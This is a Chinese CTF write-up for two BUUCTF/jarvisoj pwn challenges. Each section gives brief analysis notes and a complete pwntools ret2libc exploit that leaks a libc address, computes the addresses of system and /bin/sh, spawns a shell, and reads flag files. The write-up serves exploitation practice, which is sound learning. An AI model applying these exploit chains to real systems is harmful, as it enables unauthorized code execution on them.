1.jarvisoj_level3_x64
1.1 Checksec
64位ELF 开启了NX,其余全部关闭。
IDA Pro 静态调试
除了改成了64位似乎都没什么区别,gdb动态调试
1.2 ROPgadget拿pop_rdi pop_rsi
1.3 构造PoC
from pwn import *
from LibcSearcher import LibcSearcher
#from LibcSearcherX import * #使用 LibcSearcher的原因是 使用上面那个脚本不会出现结果,只会有3个Libc,并且这3个全部是无效的。LibcSearcherX查找到的可以使用,因此不能完全依靠LibcSearcher网站(
elf = ELF("/root/Desktop/Pwn Subject/level3_x64")
#libc = ELF("/root/Desktop/Pwn Subject/libc.so.6")
io = remote("node4.buuoj.cn",29084)
#io = process("/root/Desktop/Pwn Subject/level3_x64")
# Get Pot and Got
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
# Address
rdi = 0x00000000004006b3
rsi = 0x00000000004006b1
# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
payload_addr = b'A'*(0x80+8) + p64(rdi) + p64(1) + p64(rsi) + p64(write_got) + b'A'*8 + p64(write_plt) + p64(main_addr)
io.sendlineafter("Input:\n",payload_addr)
write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("[+] Payload = \n",(payload_addr))
#io.recvuntil('Input:\n')
#io.sendline(payload_addr)
#write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("[+] Leaking completed.")
print(("[+] Real Address : "),hex(write_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("write",write_addr)
# Dump Dump是给LibcSearcher用的
libc = LibcSearcher("write",write_addr)
libcbase = write_addr - libc.dump('write')
system = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
# Sym Symbols 是LibcSearcherX的函数调用方式
#libc = LibcSearcherLocal("write",write_addr)
#libcbase = write_addr - libc.sym['write']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(write_addr))
print("[+] Base Address: ",hex(write_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
# 阶段4 获取shell
payload = (b'A' * ( 128 + 0x8 ) + p64(rdi) + p64(bin_sh) + p64(system) )
io.sendlineafter("Input:\n",payload)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline("find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline("find '/flag' -exec cat {} \;")
print("Damn")
io.sendline("find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()
个人本地使用编号3的libc,远程使用编号2的libc可以拿到shell。
成功获取shell。(据说flag不变,那就码掉啦)
这个版本的PoC加了点花里胡哨的功能,查看系统版本是看有没有打进去的,虽然没什么卵用
2. jarvisoj_level4
2.1 Checksec
同上,IDA Pro静态调试
栈溢出,其他没啥好看的,经典的ret2libc
由于是32位,不需要使用寄存器传递参数。
2.2 gdb动态调试
2.3 构造PoC
from pwn import *
#from LibcSearcher import LibcSearcher
from LibcSearcherX import * #使用 LibcSearcher的原因是 使用上面那个脚本不会出现结果,只会有3个Libc,并且这3个全部是无效的。LibcSearcherX查找到的可以使用,因此不能完全依靠LibcSearcher网站(
elf = ELF("/root/Desktop/Pwn Subject/level4")
#libc = ELF("/root/Desktop/Pwn Subject/libc.so.6")
io = remote("node4.buuoj.cn",29352)
#io = process("/root/Desktop/Pwn Subject/level4")
# Get Pot and Got
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
# Address
#rdi = 0x00000000004006b3
#rsi = 0x00000000004006b1
# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
#payload_addr = ( b'A'*(0x80+8) + p64(rdi) + p64(1) + p64(rsi) + p64(write_got) + b'A'*8 + p64(write_plt) + p64(main_addr) )
payload_addr = ( b'A' * ( 136 + 0x04 ) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) +p32(4) )
#io.sendlineafter("Input:\n",payload_addr)
io.sendline(payload_addr)
#write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
write_addr = u32(io.recv(4))
print("[+] Payload = \n",(payload_addr))
#io.recvuntil('Input:\n')
#io.sendline(payload_addr)
#write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("[+] Leaking completed.")
print(("[+] Real Address : "),hex(write_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("write",write_addr)
# Dump Dump是给LibcSearcher用的
#libc = LibcSearcher("write",write_addr)
#libcbase = write_addr - libc.dump('write')
#system = libcbase + libc.dump('system')
#bin_sh = libcbase + libc.dump('str_bin_sh')
# Sym Symbols 是LibcSearcherX的函数调用方式
libc = LibcSearcherLocal("write",write_addr)
libcbase = write_addr - libc.sym['write']
system = libcbase + libc.sym['system']
bin_sh = libcbase + libc.sym['str_bin_sh']
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(write_addr))
print("[+] Base Address: ",hex(write_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
# 阶段4 获取shell
#payload = ( b'A' * ( 128 + 0x8 ) + p64(rdi) + p64(bin_sh) + p64(system) )
payload = ( b'A' * ( 136 + 0x04 ) + p32(system) +p32(0) + p32(bin_sh) )
#io.sendlineafter("Input:\n",payload)
io.sendline(payload)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline("find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline("find '/flag' -exec cat {} \;")
print("Damn")
io.sendline("find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()
本地需要选择
远程需要选择
成功获取shell